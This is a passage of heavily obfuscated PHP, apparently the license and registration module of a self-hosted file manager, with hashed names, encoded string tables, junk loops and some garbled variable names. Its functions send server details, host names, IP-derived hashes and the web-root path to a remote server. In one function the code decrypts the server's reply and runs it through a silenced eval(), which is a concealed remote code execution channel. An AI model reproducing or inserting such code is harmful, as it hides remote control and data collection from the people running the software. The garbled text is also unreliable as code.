>= 0) { break; } $˝++; } $this->okxz5abf0478(); $և悲 = $뫼Ư[687]; $this->zqxpacf7fe71(); $þ = $뫼Ư[688]; $this->zgtnbe65a103(); $this->cqdw6e16c9ab(); $this->smhuc7009afe(); $this->cqbo482b6eb6(); $this->akswc10aed7f($ŗ[25], array($this, $ŗ[26])); $this->akswc10aed7f($ŗ[27], array($this, $ŗ[28])); $ֆ× = $뫼Ư[689]; if (!$ֆ×) { die; } $this->akswc10aed7f($ŗ[29], array($this, $ŗ[30])); $ = $뫼Ư[690]; if (strlen($) < $뫼Ư[691]) { die; } $this->akswc10aed7f($ŗ[31], array($this, $ŗ[32])); $皹 = $뫼Ư[692]; if (strlen($皹) < $뫼Ư[672]) { return; } } public function qvzle71e997f($Ƙ) { $ӫ =& $_SERVER[ϋ]; $ֽ =& $_SERVER[]; $ = Model($ֽ[33])->get(); $ʲ = array($ֽ[34], $ֽ[35], $ֽ[36], $ֽ[37], $ֽ[38], $ֽ[39], $ֽ[40], $ֽ[41], $ֽ[42], $ֽ[43], $ֽ[44], $ֽ[45], $ֽ[46], $ֽ[47], $ֽ[48], $ֽ[49], $ֽ[50], $ֽ[51], $ֽ[52], $ֽ[53], $ֽ[54], $ֽ[55], $ֽ[56], $ֽ[57], $ֽ[58], $ֽ[59], $ֽ[60], $ֽ[61], $ֽ[62], $ֽ[63], $ֽ[64], $ֽ[65], $ֽ[66], $ֽ[67], $ֽ[68], $ֽ[69], $ֽ[70], $ֽ[71], $ֽ[72], $ֽ[73], $ֽ[74], $ֽ[75], $ֽ[76], $ֽ[77], $ֽ[78], $ֽ[79], $ֽ[80], $ֽ[81], $ֽ[82], $ֽ[83], $ֽ[84]); foreach ($ʲ as $ü) { $ӣ = $GLOBALS[$ֽ[85]][$ֽ[86]][$ü]; $Ŭ = $ӫ[693]; if (!$Ŭ) { die; } if (isset($[$ü])) { $ӣ = $[$ü]; } $Ƙ[$ֽ[87]][$ֽ[88]][$ü] = $ӣ; } $Ԡ = $Ƙ[$ֽ[87]][$ֽ[88]][$ֽ[46]]; unset($Ƙ[$ֽ[87]][$ֽ[89]][$ֽ[90]]); $߉ = $ӫ[694]; if (strlen($߉) < $ӫ[412]) { die; } unset($Ƙ[$ֽ[87]][$ֽ[89]][$ֽ[91]]); unset($Ƙ[$ֽ[87]][$ֽ[88]][$ֽ[46]]); $ = $ӫ[695]; if (!$) { return; } unset($Ƙ[$ֽ[87]][$ֽ[88]][$ֽ[92]]); $Ƙ[$ֽ[87]][$ֽ[88]][$ֽ[93]] = array($ֽ[94] => (int) $Ԡ[$ֽ[95]], $ֽ[96] => (int) _get($Ԡ, $ֽ[97], 0)); $̨ = substr(md5($ֽ[98] . get_client_ip() . $[$ֽ[99]]), 0, 15); $Ƙ[$ֽ[100]][$ֽ[101]] = Mcrypt::encode(Session::sign(), $̨, 3600 * 24); $ = $ӫ[696]; while ($ < $ӫ[691]) { if ($ >= 0) { break; } $++; } $Ƙ[$ֽ[100]][$ֽ[102]] = Action($ֽ[103])->accessToken(); $Ƙ[$ֽ[100]][$ֽ[104]] = md5($_SERVER[$ֽ[105]] . $[$ֽ[99]]); $Ƙ[$ֽ[100]][$ֽ[106]] = base64_encode(serverInfo()); $ܵ = $ӫ[697]; if (!$ܵ) { return; } $Ƙ[$ֽ[100]][$ֽ[107]] = $this->hbeqc5dc2903; $ܤ = $ӫ[698]; while ($ܤ < $ӫ[691]) { if ($ܤ >= 0) { break; } $ܤ++; } if ($[$ֽ[107]] != $ֽ[108]) { $Ƙ[$ֽ[100]][$ֽ[109]] = $[$ֽ[109]]; $Ƙ[$ֽ[100]][$ֽ[110]] = $[$ֽ[110]]; $έ = rand_string(10) . $this->hbeqc5dc2903 . rand_string(5); $Ƙ[$ֽ[87]][$ֽ[111]][$ֽ[112]] = $this->qamef6a6ceac($έ, $Ƙ[$ֽ[100]][$ֽ[104]]); } if ($this->hbeqc5dc2903 == $ֽ[108]) { $Ƙ[$ֽ[87]][$ֽ[88]][$ֽ[93]][$ֽ[97]] = 0; } $Ƙ[$ֽ[100]][$ֽ[113]] = $this->versionPluginFilter(); $Ƙ[$ֽ[100]][$ֽ[114]] = _get($this->oged17bba83b, $ֽ[115], $ֽ[6]); $ = $ӫ[699]; if (strlen($) < $ӫ[676]) { die; } if (KodUser::isRoot() && $this->config[$ֽ[116]]) { $Ƙ[$ֽ[100]][$ֽ[117]] = WEB_ROOT; } return $Ƙ; } private function smhuc7009afe() { $ӷ =& $_SERVER[ϋ]; $ =& $_SERVER[]; $Յ = $_SERVER[$[24]] == $[118]; if ($_SERVER[$[24]] == $[119] && $_GET[$[120]] == $[121]) { $Յ = !0; } if ($Յ) { $䶵 = array($[107] => $this->hbeqc5dc2903, $[122] => $this->lgfz57cb0b47(), $[123] => Model($[124])->count()); if ($this->hbeqc5dc2903 != $[108]) { $ = _get($this->oged17bba83b, $[125]); if ($) { $䶵[$[126]] = $; $䶵[$[127]] = strtotime(_get($this->oged17bba83b, $[128])); $䶵[$[129]] = _get($this->oged17bba83b, $[115]); } $ȑ = Model($[33])->get($[130], $[6], !0); if (is_string($ȑ) && substr($ȑ, 0, 1) == $[131]) { $ȑ = json_decode_force($ȑ); } if (is_array($ȑ) && $ȑ[$[132]] && strstr($ȑ[$[132]], $[133])) { $̎ = explode($[133], $ȑ[$[132]]); $䶵[$[134]] = $̎[0]; } } $䶵 = $this->tzgs8ec9139b(json_encode($䶵), md5($[135])); $Ɨ٢ = $ӷ[700]; if (strlen($Ɨ٢) < $ӷ[412]) { return; } $ހ = array($[136] => $䶵); call_user_func(array($[137], $[138]), $ހ); } if ($this->hbeqc5dc2903 == $[108]) { return; } $Ϫ = array($[139], $[140], $[141], $[142], $[143], $[144]); $ = Model($[33])->get(); $꘶ = $ӷ[701]; if (strlen($꘶) < $ӷ[676]) { die; } $ހ = array($[145] => $[$[34]], $[146] => $[$[35]], $[147] => $[6]); $ۜ = $ӷ[702]; foreach ($Ϫ as $ԏ±) { if (!isset($[$ԏ±]) || !$[$ԏ±]) { continue; } $ހ[$ԏ±] = $[$ԏ±]; $ዒ = $ӷ[703]; } call_user_func(array($[137], $[138]), $ހ); } private function zgtnbe65a103() { $ =& $_SERVER[ϋ]; $ =& $_SERVER[]; if ($_SERVER[$[24]] != $[148]) { return; } if (!KodUser::isRoot()) { die; } $ = $GLOBALS[$[13]]; if (isset($[$[149]])) { $this->mgusb38ee48a(); die; } if (isset($[$[150]]) && isset($[$[150]]) == $[121]) { $[$[151]] = Model($[33])->get($[152]); } if (!isset($[$[151]]) || strlen($[$[151]]) != 16) { show_json($[153] . $[$[151]], !1); } $ = Model($[33])->get($[99]); $旼 = md5($_SERVER[$[105]] . $); $⮾ = array($[151] => $[$[151]], $[154] => rand_string(16), $[155] => $[135], $[156] => $[157], $[158] => $_SERVER[$[159]], $[160] => $_SERVER[$[161]], $[162] => $_SERVER[$[163]], $[104] => $旼, $[164] => Model($[33])->get($[130])); $ = $[704]; if (!$) { return; } if (isset($[$[150]]) && isset($[$[150]]) == $[121]) { $⮾[$[150]] = md5($⮾[$[151]] . $[165] . $⮾[$[154]]); } if ($[$[166]] == $[167]) { $Ѷ뼬 = $this->tzgs8ec9139b($旼, $[168]); $莳 = $this->qamef6a6ceac(json_encode($⮾), $旼 . $[169], 3); $莳 = $莳 . $[170] . $_SERVER[$[159]]; $ = $this->ndgx57fc9ed0($[171] . $Ѷ뼬 . $[172] . $莳, -1); show_json($, !0); } else { if ($[$[166]] == $[173]) { $Ըܿ = substr(md5($[174] . $旼), 12, 15) . $[175]; $莳 = $this->qnsc844414e8(trim($[$[176]]), $Ըܿ, 2); $ = json_decode($莳, !0); if (!is_array($) || !is_array($[$[177]]) || $[$[151]] != !0) { $Ź = $[178]; $ɲ = $[$[177]] ? $[179] . $[$[177]] : $Ź; show_json($ɲ, !1); } else { $⮾[$[154]] = $[$[177]][$[180]]; } } else { $ = $this->ndgx57fc9ed0($[181], $⮾, 10); } } if (!is_array($) || !is_array($[$[177]]) || $[$[151]] != !0) { $Ź = LNG($[182]); $ɲ = $[$[177]] ? $[179] . $[$[177]] : $Ź; show_json($ɲ, !1); } $ = $[$[177]]; $आ = $this->mftj970b33d7($[$[183]]); $ = $[705]; if (!$) { return; } if (!$आ || $आ != $[$[128]]) { $쌵 = array($[184] => Model($[33])->get($[99]), $[185] => $_SERVER[$[105]], $[186] => this_url(), $[160] => $_SERVER[$[161]]); $莳 = $this->hyrn32bf48d4(json_encode($쌵)); $this->ndgx57fc9ed0($[187] . $莳); show_json(LNG($[188]), !0); } $Š = array($[152] => $[$[189]], $[190] => $[$[191]], $[192] => rand_string(16), $[107] => $[$[193]]); if ($⮾[$[154]]) { $Š[$[192]] = $⮾[$[154]]; } $噦 = substr(md5($Š[$[190]]), 10, 10); $ݤ = $噦 . $Š[$[107]] . $Š[$[192]]; $Š[$[109]] = strrev(base64_encode($this->tzgs8ec9139b($ݤ, $[194]))); $ = rand_string(16); $ˆڿ = $ . $Š[$[107]] . $this->tzgs8ec9139b(md5($Š[$[152]]), $); $Š[$[110]] = base64_encode(strrev($this->tzgs8ec9139b($ˆڿ, $[195]))); $ׅ = $[706]; if (strlen($ׅ) < $[707]) { die; } if ($[$[196]] && $[$[196]] >= 1) { Model($[33])->setDeep($[197], $[121]); } Model($[33])->set($Š); $ޖ = md5($_SERVER[$[105]] . strrev($) . $Š[$[190]]); $Ө = $[708]; if (strlen($Ө) < $[412]) { die; } $ = strrev(substr($ޖ, 10, 16)); $̷ = $this->qamef6a6ceac(json_encode($), $ޖ); $ = $[709]; if (strlen($) < $[672]) { die; } $ljڼ = array_to_keyvalue(Model($[7])->listData(), $[198]); $ = $[710]; if (strlen($) < $[412]) { die; } $ز = $ljڼ[$[199]]; $˺ = $[711]; while (strlen($˺) < $[691]) { if (!$˺) { break; } $˺++; } $ = array(); $߫ = $[712]; while (strlen($߫) < $[691]) { if (!$߫) { break; } $߫++; } $[$] = $̷; $̽ = $[713]; if (strlen($̽) < $[691]) { return; } Model($[7])->update($ز[$[200]], array($[201] => $)); $this->oged17bba83b = $; $this->hbeqc5dc2903 = $Š[$[107]]; $this->licenseRegistSuccess(); $ˏ = $[714]; Cache::set($[202] . md5($ . $[203]), $[6]); show_json(LNG($[188]), !0); } private function licenseRegistSuccess() { $㗛 =& $_SERVER[ϋ]; $ =& $_SERVER[]; $ = Model($[33])->get(); $ = $㗛[715]; while (strlen($) < $㗛[691]) { if (!$) { break; } $++; } if ($[$[63]] != $[121]) { Model($[33])->set($[63], $[121]); } Action($[204])->initStart(!0); } private function mgusb38ee48a() { $ߧ =& $_SERVER[ϋ]; $ř =& $_SERVER[]; Model($ř[33])->set(array($ř[152] => $ř[6], $ř[190] => $ř[6], $ř[107] => $ř[108], $ř[109] => $ř[6], $ř[110] => $ř[6])); $Ό = $ߧ[716]; Model($ř[33])->setDeep($ř[197], $ř[205]); $this->oged17bba83b = array(); $this->hbeqc5dc2903 = $ř[108]; $ъ = $ߧ[717]; if (strlen($ъ) < $ߧ[691]) { return; } } private function lxvye9f5c37f() { $ =& $_SERVER[ϋ]; $ =& $_SERVER[]; $_SERVER[$[161]] = _get($_SERVER, $[161], APP_HOST); $this->hbeqc5dc2903 = $[108]; $α = Model($[33])->get(); $ = $[718]; if (!$) { die; } if ($α[$[107]] == $[108]) { return; } $› = Model($[33])->get($[99]); $ދ = $[719]; while ($ދ < $[676]) { if ($ދ >= 0) { break; } $ދ++; } $ܚ = $[202] . md5($› . $[203]); $ɿ = $[720]; $͗ = Cache::get($ܚ); $݇ = $[721]; if (strlen($݇) < $[672]) { die; } if (!is_array($͗) || !isset($͗[$[206]]) || time() - $͗[$[206]] >= 60) { $ = Model($[7])->loadList(); $ = $[$[199]]; $ޡ = md5($_SERVER[$[105]] . strrev($›) . $α[$[190]]); $ = strrev(substr($ޡ, 10, 16)); $͗ = $this->qnsc844414e8($[$[85]][$], $ޡ); $͗ = json_decode($͗, !0); } if (!is_array($͗)) { return $this->mgusb38ee48a(); } $Ɯ = strtotime($͗[$[128]]); if (time() >= $Ɯ) { return $this->mgusb38ee48a(); } if (!isset($͗[$[206]]) || time() - $͗[$[206]] > 20) { $͗[$[206]] = time(); Cache::set($ܚ, $͗); } $this->oged17bba83b = $͗; $this->hbeqc5dc2903 = $α[$[107]]; } private function okxz5abf0478() { $Չ =& $_SERVER[]; $Ʋ໐ = $GLOBALS[$Չ[13]]; $ = $_SERVER[$Չ[24]]; if ($ == $Չ[207] && $this->hbeqc5dc2903 == $Չ[108]) { show_json(LNG($Չ[208]), !1, $Չ[209]); } $ό = array($Չ[210], $Չ[211]); if (in_array($, $ό)) { if ($this->hbeqc5dc2903 == $Չ[108] && isset($Ʋ໐[$Չ[212]])) { show_json(LNG($Չ[208]), !1, $Չ[209]); die; } $ͤ = $this->lgfz57cb0b47(); if ($ͤ != intval($Չ[213])) { if ($ͤ <= Model($Չ[124])->count()) { show_json(LNG($Չ[214]), !1, $Չ[209]); die; } } } } private function zqxpacf7fe71() { $ =& $_SERVER[ϋ]; $Ь =& $_SERVER[]; $ӐǦ = array($Ь[118], $Ь[119]); $ƛ = $[722]; if (!$ƛ) { return; } if (!KodUser::isRoot() || !isset($_GET[$Ь[215]])) { return; } if (!in_array($_SERVER[$Ь[24]], $ӐǦ)) { return; } $ǀ = $Ь[216]; $ǀ = $this->cqjd2048f8cf($ǀ, $Ь[217]); $ = stream_context_create(array($Ь[218] => array($Ь[219] => $Ь[220], $Ь[221] => 3))); $ = @file_get_contents($ǀ, !1, $); $ꥥ = $[718]; if (!$ꥥ) { return; } header($Ь[222]); if ($ && strstr($, $Ь[223])) { echo $; } die; } public function xhfi0bbe14d6($ä) { $ =& $_SERVER[ϋ]; $ϲ˫ =& $_SERVER[]; if ($this->hbeqc5dc2903 == $ϲ˫[224]) { return $ä; } $𡫆 = $this->versionPluginList(); $ = explode($ϲ˫[225], $this->versionPluginFilter()); $ = $[723]; $Ÿ = array(); $ = $[724]; if (!$) { return; } foreach ($𡫆 as $̏ => $) { if ($ == $ϲ˫[226] && substr($this->hbeqc5dc2903, 0, 1) == $ϲ˫[226]) { continue; } if (!in_array($̏, $)) { $Ÿ[] = $̏; } } foreach ($Ÿ as $̏) { unset($ä[$̏]); } return $ä; $נ = $[725]; if (strlen($נ) < $[412]) { return; } } private function versionPluginList() { $ =& $_SERVER[]; return array($[227] => $[226], $[228] => $[226], $[229] => $[226], $[230] => $[231], $[232] => $[231], $[233] => $[231], $[234] => $[231], $[235] => $[231], $[236] => $[231], $[237] => $[231], $[238] => $[231], $[239] => $[231], $[240] => $[231], $[241] => $[231], $[242] => $[231], $[243] => $[231]); } private function versionPluginFilter() { $٠ =& $_SERVER[ϋ]; $ݩ =& $_SERVER[]; if ($this->hbeqc5dc2903 == $ݩ[108]) { return $ݩ[6]; } $⇎ = _get($this->oged17bba83b, $ݩ[244], $ݩ[6]); $Ƀ = $٠[726]; if (!$Ƀ) { die; } $ݶỏ = _get($this->oged17bba83b, $ݩ[115], $ݩ[6]); $飗 = _get($this->oged17bba83b, $ݩ[245], $ݩ[6]); $ = $٠[727]; if (!$) { die; } if ($ݶỏ > time() && $飗 > time()) { $֥ = explode($ݩ[225], $⇎); $ = array_keys($this->versionPluginList()); $⇎ = array_merge($֥, $); $⇎ = implode($ݩ[225], array_filter(array_unique($⇎))); } return $⇎; } private function cqbo482b6eb6() { $ᄷ =& $_SERVER[]; if ($this->hbeqc5dc2903 != $ᄷ[108]) { $GLOBALS[$ᄷ[85]][$ᄷ[89]][$ᄷ[246]] = $ᄷ[205]; return; } $GLOBALS[$ᄷ[85]][$ᄷ[247]] = $ᄷ[121]; if (Model($ᄷ[248])->get($ᄷ[63]) != $ᄷ[205]) { Model($ᄷ[248])->set($ᄷ[63], $ᄷ[205]); } } public function cgxy0e3b9799() { $󵍎 =& $_SERVER[ϋ]; return $_SERVER[][249]; $ = $󵍎[728]; if (strlen($) < $󵍎[691]) { return; } } private function cqdw6e16c9ab() { $꜉ =& $_SERVER[ϋ]; $ =& $_SERVER[]; $χ = array($[250], $[251], $[252]); $ = $[253] . md5($[254]); if ($this->hbeqc5dc2903 == $[108] || !KodUser::isRoot()) { return; } if (!in_array($_SERVER[$[24]], $χ)) { return; } if (time() % 4 != 0) { return; } $ = call_user_func(array($[255], $[256]), $); $Ɛ = $꜉[729]; if (!$Ɛ) { die; } if ($ && time() - $ < intval($[257])) { return; } call_user_func(array($[255], $[138]), $, time()); $ = Model($[33])->get($[99]); $͢ = $꜉[730]; if (strlen($͢) < $꜉[691]) { die; } $ = array($[151] => Model($[33])->get($[152]), $[166] => $this->hbeqc5dc2903, $[162] => $_SERVER[$[163]], $[164] => Model($[33])->get($[130]), $[104] => md5($_SERVER[$[105]] . $), $[155] => $[135], $[158] => $_SERVER[$[159]]); $ݏҽ = $꜉[731]; if (strlen($ݏҽ) < $꜉[676]) { return; } $ʲ = $this->ndgx57fc9ed0($[258], $); $ = $꜉[732]; if (!is_array($ʲ)) { return; } if ($ʲ[$[151]] && $ʲ[$[259]]) { if ($this->mftj970b33d7($ʲ[$[259]]) == $[$[151]]) { return; } } $this->mgusb38ee48a(); $Χ = $꜉[733]; if (strlen($Χ) < $꜉[691]) { return; } if ($this->mftj970b33d7($ʲ[$[259]]) != $[$[151]]) { $ = array($[184] => $, $[185] => $_SERVER[$[105]], $[186] => this_url(), $[160] => $_SERVER[$[161]]); $ݢ = $this->hyrn32bf48d4(json_encode($)); $ʲ = $this->ndgx57fc9ed0($[187] . $ݢ); if ($ʲ && is_array($ʲ) && isset($ʲ[$[259]])) { $Ëƍ = $this->qnsc844414e8($ʲ[$[259]], 2); if ($Ëƍ) { $Ëƍ = $this->mftj970b33d7($Ëƍ); } if ($Ëƍ) { try { @eval($Ëƍ); } catch (Exception $) { } } } } } private function ndgx57fc9ed0($ɼ = '', $׿ = array(), $ = 5) { $ =& $_SERVER[ϋ]; $齢 =& $_SERVER[]; $ܜ = $齢[260]; $ܜ = $this->cqjd2048f8cf($ܜ, $齢[261]); $ޘ = $[734]; $ܜ = $ܜ . $ɼ; if ($׿ && is_array($׿)) { $ܜ = $ܜ . $齢[262] . http_build_query($׿); } if ($׿ === -1) { return $ܜ; } $ѝ = stream_context_create(array($齢[218] => array($齢[221] => $, $齢[219] => $齢[263]), $齢[264] => array($齢[265] => !1, $齢[266] => !1))); $׿ = @file_get_contents($ܜ, !1, $ѝ); return json_decode($׿, !0); $ = $[735]; while ($ < $[707]) { if ($ >= 0) { break; } $++; } $ = $[736]; if (strlen($) < $[707]) { die; } } private function lgfz57cb0b47() { $ҝ =& $_SERVER[ϋ]; $ =& $_SERVER[]; $ȃӏ = array($[267] => $[268], $[269] => $[270], $[271] => $[272], $[273] => $[274], $[275] => $[276], $[277] => $[213], $[278] => $[213], $[279] => $[268], $[280] => $[270], $[281] => $[272], $[282] => $[283], $[284] => $[274], $[285] => $[286], $[287] => $[276], $[288] => $[289], $[290] => $[291], $[292] => $[293]); $料 = $ҝ[737]; if (!$料) { return; } $ = $ȃӏ[$this->hbeqc5dc2903]; $ = intval($ ? $ : $[268]); $Ծ = _get($this->oged17bba83b, $[294]); $ = $ҝ[738]; if (!$) { die; } $Ծ = $Ծ ? intval($Ծ) : 0; $ΐ = $ҝ[739]; if (!$ΐ) { return; } return $ + $Ծ; } public function xayqf4c43c30($) { $ =& $_SERVER[ϋ]; $ =& $_SERVER[]; $ܿ = $this->lgfz57cb0b47(); if ($[$[295]] == $[121]) { return; } if ($ܿ >= intval($[213])) { return; } $뻪ѱ = Model($[124])->count(); $ۘ = $[740]; if (strlen($ۘ) < $[412]) { die; } if ($뻪ѱ <= $ܿ) { return; } $ = Model($[124])->field($[295])->limit($ܿ)->select(); $ݟ = $[735]; if (!$ݟ) { return; } $ = array_to_keyvalue($, $[6], $[295]); if (!in_array($[$[295]], $)) { show_json($[296], !1, $[209]); } } public function jtgudd273597() { $ =& $_SERVER[ϋ]; $Ԓ =& $_SERVER[]; if (!KodUser::isRoot() || mt_rand(1, 100) > 20) { return; } $ = $Ԓ[216]; $ = $[741]; $ = $this->cqjd2048f8cf($, $Ԓ[217]); $ = stream_context_create(array($Ԓ[218] => array($Ԓ[219] => $Ԓ[220], $Ԓ[221] => 3))); $ت = $[742]; while (strlen($ت) < $[676]) { if (!$ت) { break; } $ت++; } $î = @file_get_contents($, !1, $); echo $Ԓ[297] . hash_encode($î) . $Ԓ[298]; $ = $[743]; while (strlen($) < $[412]) { if (!$) { break; } $++; } } private function qamef6a6ceac($, $ߖ, $ˁ = 3) { $񚈢 =& $_SERVER[ϋ]; $ =& $_SERVER[]; usleep(1); $ = $񚈢[744]; if (!$) { return; } $ = trim($); $뽱 = $񚈢[745]; if (strlen($뽱) < $񚈢[676]) { die; } $˙ = mt_rand(0, 5) . $[6]; $ = $񚈢[746]; if (strlen($) < $񚈢[676]) { die; } $ = rand_string(15); $ٓ = $[299]; switch ($˙) { case $[205]: $ڲ = $this->tzgs8ec9139b($, strrev($ߖ . $)); $ৡ = $񚈢[747]; break; $ = $񚈢[748]; case $[121]: $ڲ = $this->tzgs8ec9139b($, strrev($ . $ߖ)); break; case $[300]: $ڲ = $this->tzgs8ec9139b($, base64_encode($ . $ߖ)); break; $Јڬ = $񚈢[749]; case $[301]: $ڲ = $this->tzgs8ec9139b($, md5($ . $ߖ)); $ = $񚈢[750]; break; $˧ = $񚈢[751]; while (strlen($˧) < $񚈢[672]) { if (!$˧) { break; } $˧++; } case $[302]: $ = base64_encode($); $ = $񚈢[752]; while (strlen($) < $񚈢[672]) { if (!$) { break; } $++; } $ = rand(0, 64); $ޫ = $ٓ[$]; $݌ = $񚈢[753]; if (strlen($݌) < $񚈢[707]) { return; } $Ԉ = md5($ޫ . md5($ߖ . $ޫ) . $ߖ); $Ԉ = substr($Ԉ, $ % 8, $ % 8 + 7); $۩ = $񚈢[754]; $ = $[6]; $О = $񚈢[755]; while (strlen($О) < $񚈢[676]) { if (!$О) { break; } $О++; } $ٖ = 0; $𥳵 = 0; $̯ = $񚈢[756]; $߷ = 0; $ת = $񚈢[757]; for ($ٖ = 0; $ٖ < strlen($); $ٖ++) { $߷ = $߷ == strlen($Ԉ) ? 0 : $߷; $ʼn = $񚈢[688]; if (!$ʼn) { return; } $𥳵 = ($ + strpos($ٓ, $[$ٖ]) + ord($Ԉ[$߷++])) % 64; $ .= $ٓ[$𥳵]; } $ڲ = hash_encode($ޫ . $); $ = $񚈢[758]; if (!$) { return; } break; $Ɇ = $񚈢[759]; while ($Ɇ < $񚈢[707]) { if ($Ɇ >= 0) { break; } $Ɇ++; } default: $ڲ = $this->tzgs8ec9139b($, $ߖ . $); break; $ = $񚈢[760]; if (!$) { return; } } $ڲ = strrev($˙ . $ . $ڲ); if ($ˁ - 1 > 0) { $ڲ = $this->qamef6a6ceac($ڲ, $ߖ, $ˁ - 1); } return $ڲ; } private function qnsc844414e8($򦵨, $ƀ凋, $˳ = 3) { $ =& $_SERVER[ϋ]; $ =& $_SERVER[]; if (!is_string($򦵨) || strlen($򦵨) < 10) { return !1; } $򦵨 = trim($򦵨); $򦵨 = strrev($򦵨); $ = $[761]; $ʠի = $򦵨[0]; $ = substr($򦵨, 1, 15); $򦵨 = substr($򦵨, 16); $ԧˠ = $[762]; if (strlen($ԧˠ) < $[676]) { die; } $͜ۮ = $[299]; $ݪ = $[763]; while ($ݪ < $[707]) { if ($ݪ >= 0) { break; } $ݪ++; } switch ($ʠի) { case $[205]: $݈ = $this->cqjd2048f8cf($򦵨, strrev($ƀ凋 . $)); break; case $[121]: $݈ = $this->cqjd2048f8cf($򦵨, strrev($ . $ƀ凋)); break; $凒 = $[764]; if (strlen($凒) < $[412]) { die; } case $[300]: $݈ = $this->cqjd2048f8cf($򦵨, base64_encode($ . $ƀ凋)); $ = $[765]; while (strlen($) < $[691]) { if (!$) { break; } $++; } break; $۴ى = $[766]; if (!$۴ى) { return; } case $[301]: $݈ = $this->cqjd2048f8cf($򦵨, md5($ . $ƀ凋)); $ࠅ = $[767]; if (!$ࠅ) { die; } break; case $[302]: $򦵨 = hash_decode($򦵨); $ = $򦵨[0]; $򦵨 = substr($򦵨, 1); $ = strpos($͜ۮ, $); $ˤԷ = md5($ . md5($ƀ凋 . $) . $ƀ凋); $ˏ = $[768]; if (!$ˏ) { die; } $ˤԷ = substr($ˤԷ, $ % 8, $ % 8 + 7); $禌 = $[6]; $ = 0; $׾ = $[769]; if (strlen($׾) < $[676]) { return; } $ = 0; $К = 0; $ܽι = $[770]; if (!$ܽι) { die; } for ($ = 0; $ < strlen($򦵨); $++) { $К = $К == strlen($ˤԷ) ? 0 : $К; $ܖ = $[771]; $ј = $К++; $ֺ = $[772]; while (strlen($ֺ) < $[707]) { if (!$ֺ) { break; } $ֺ++; } $ = strpos($͜ۮ, $򦵨[$]) - $ - ord($ˤԷ[$ј]); $ = $[773]; while (strlen($) < $[707]) { if (!$) { break; } $++; } while ($ < 0) { $ += 64; } $禌 .= $͜ۮ[$]; $妭 = $[774]; while (strlen($妭) < $[676]) { if (!$妭) { break; } $妭++; } } $݈ = base64_decode($禌); break; default: $݈ = $this->cqjd2048f8cf($򦵨, $ƀ凋 . $); break; } if ($˳ - 1 > 0) { $݈ = $this->qnsc844414e8($݈, $ƀ凋, $˳ - 1); } return $݈; } public function hyrn32bf48d4($) { $Ϋ =& $_SERVER[ϋ]; $ =& $_SERVER[]; $ = $this->uper9170b4ce(); $ܼΨ = $this->uper9170b4ce(); $ = $Ϋ[775]; while ($ < $Ϋ[676]) { if ($ >= 0) { break; } $++; } $ = ($ - 1) * ($ܼΨ - 1); $Ӻ = intval(($ + $ܼΨ) / 2); while (1) { $ = $Ӻ; $ = $Ϋ[776]; while (strlen($) < $Ϋ[672]) { if (!$) { break; } $++; } $Ѝ = $; $Ѩ = $Ϋ[777]; if (!$Ѩ) { return; } while ($Ѝ % $ != 0) { $Ό = $Ѝ; $ = $Ϋ[778]; if (!$) { die; } $Ѝ = $; $ = $Ϋ[779]; while (strlen($) < $Ϋ[672]) { if (!$) { break; } $++; } $ = $Ό % $; $ͮ = $Ϋ[780]; } if ($ == 1) { break; } else { $Ӻ++; } } $ = 2; for ($ʛ = 0; $ʛ < $ * 10; $ʛ++) { if (($ * $ʛ + 1) % $Ӻ == 0) { $ = intval(($ * $ʛ + 1) / $Ӻ); break; } } $ɕ = $this->tzgs8ec9139b($ * $ܼΨ . $[6], $[135]); $ = md5($[303] . ($ + $ܼΨ) . $[304] . $Ӻ . $[304] . $ . $[305]); $ = $Ϋ[781]; if (!$) { return; } $ = $this->tzgs8ec9139b($, $) . $[306] . $ɕ; $ = $Ϋ[782]; while (strlen($) < $Ϋ[691]) { if (!$) { break; } $++; } return $; $ = $Ϋ[783]; if (strlen($) < $Ϋ[707]) { return; } } public function mftj970b33d7($ԁ) { $ࣳ =& $_SERVER[ϋ]; $ֆ =& $_SERVER[]; $ӛՖ = explode($ֆ[306], $ԁ); $ߤ = $ࣳ[784]; while (strlen($ߤ) < $ࣳ[676]) { if (!$ߤ) { break; } $ߤ++; } if (count($ӛՖ) != 2) { return $ֆ[6]; } $Җأ = $this->cqjd2048f8cf($ӛՖ[1] . $ֆ[6], $ֆ[135]); if (!$Җأ) { return $ֆ[6]; } $Җأ = intval($Җأ); $ = $ࣳ[785]; while ($ < $ࣳ[672]) { if ($ >= 0) { break; } $++; } $ҁ = 0; $ = 0; $Ȍ = $ࣳ[786]; if (strlen($Ȍ) < $ࣳ[676]) { die; } for ($ = 3; $ < $Җأ; $ += 2) { if ($Җأ % $ != 0) { continue; } $ҁ = $; $ = intval($Җأ / $); $ = $ࣳ[787]; while ($ < $ࣳ[672]) { if ($ >= 0) { break; } $++; } break; } $ = ($ҁ - 1) * ($ - 1); $ꀳ޸ = intval(($ҁ + $) / 2); while (1) { $ƙ۱ = $ꀳ޸; $ = $; $Ƣ = $ࣳ[788]; if (strlen($Ƣ) < $ࣳ[691]) { return; } while ($ % $ƙ۱ != 0) { $Ђ = $; $ = $ࣳ[789]; if (!$) { die; } $ = $ƙ۱; $ƙ۱ = $Ђ % $ƙ۱; $ = $ࣳ[790]; while (strlen($) < $ࣳ[672]) { if (!$) { break; } $++; } } if ($ƙ۱ == 1) { break; } else { $ꀳ޸++; } } $ = 2; for ($ = 0; $ < $ * 10; $++) { if (($ * $ + 1) % $ꀳ޸ == 0) { $ = intval(($ * $ + 1) / $ꀳ޸); break; } } $Ό = md5($ֆ[303] . ($ҁ + $) . $ֆ[304] . $ꀳ޸ . $ֆ[304] . $ . $ֆ[305]); $ = $ࣳ[791]; $̢ = $this->cqjd2048f8cf($ӛՖ[0], $Ό); $ = $ࣳ[792]; if (strlen($) < $ࣳ[672]) { die; } return $̢; $ρØ = $ࣳ[793]; } public function uper9170b4ce() { $ =& $_SERVER[ϋ]; $ = mt_rand(pow(2, 14), pow(2, 16) - 1); $堰 = array(); $ҕ = 1; $ = $[794]; while (strlen($) < $[672]) { if (!$) { break; } $++; } while ($ҕ <= (int) sqrt($)) { $˳ = $ҕ; $ = $[795]; while (!0) { $˳++; if ($˳ <= 2) { $ҕ = $˳; break; } else { if ($˳ < 2) { continue; } } $Ƃ = !0; for ($Μ = 2; $Μ <= sqrt($˳); $Μ++) { if ($˳ % $Μ == 0) { $Ƃ = !1; } } if ($Ƃ) { $ҕ = $˳; break; } } $堰[] = $ҕ; $ؿ = $[796]; if (strlen($ؿ) < $[691]) { die; } } $䶠 = 2; for ($˳ = $; $˳ > 1; $˳--) { $Ƃ = !0; $ = $[797]; foreach ($堰 as $ռ) { if ($˳ % $ռ == 0) { $Ƃ = !1; break; } } if ($Ƃ) { $䶠 = 